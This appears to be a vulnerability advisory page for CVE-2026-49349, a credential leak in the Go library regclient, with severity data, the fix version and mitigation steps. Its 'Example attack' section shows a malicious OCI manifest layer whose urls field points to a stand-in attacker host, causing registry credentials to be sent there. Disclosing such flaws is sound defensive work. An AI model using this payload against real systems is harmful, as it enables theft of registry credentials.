CVE-2026-49349 — regclient
MEDIUMCVE-2026-49349 is a medium-severity (CVSS 6.8) CWE-522 vulnerability in github.com/regclient/regclient. A fix is available for github.com/regclient/regclient — see the affected versions and patch details below.
regclient may leak authentication credentials to external blob stores
Exploitation Status
No confirmed exploitation observed yet
- CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-49349.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/regclient/regclientReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Credentials for a registry may be inadvertently leaked to external servers. A prerequisite for this attack is a malicious registry server, a malicious blob store, or a registry that does not restrict the external URLs for foreign blobs.
Example attack
A malicious registry serves an OCI image manifest containing a layer descriptor with a urls field pointing to an attacker controlled host:
{
"mediaType": "application/vnd.oci.image.layer.v1.tar+gzip",
"digest": "sha256:...",
"size": 1024,
"urls": ["https://malicious.example.org/blobs/sha256/..."]
}
When regclient fetches the image and the primary blob request to the registry fails, it falls back to the URLs in the layer descriptor. If the external server requests authentication, regclient would send the credentials for the original registry server.
Timeline
- 2026-05-25: Advisory submitted
- 2026-05-26: Fix released
Credit
Theodoros Lampropoulos, Threat Detection Engineer, Odyssey Cyber Security
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/regclient/regclient | all versions | 0.11.5go get github.com/regclient/regclient@v0.11.5 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/regclient/regclient, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/regclient/regclient to 0.11.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-49349 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
Frequently Asked Questions
Is CVE-2026-49349 in your dependencies?
Find it across Go, including transitive dependencies.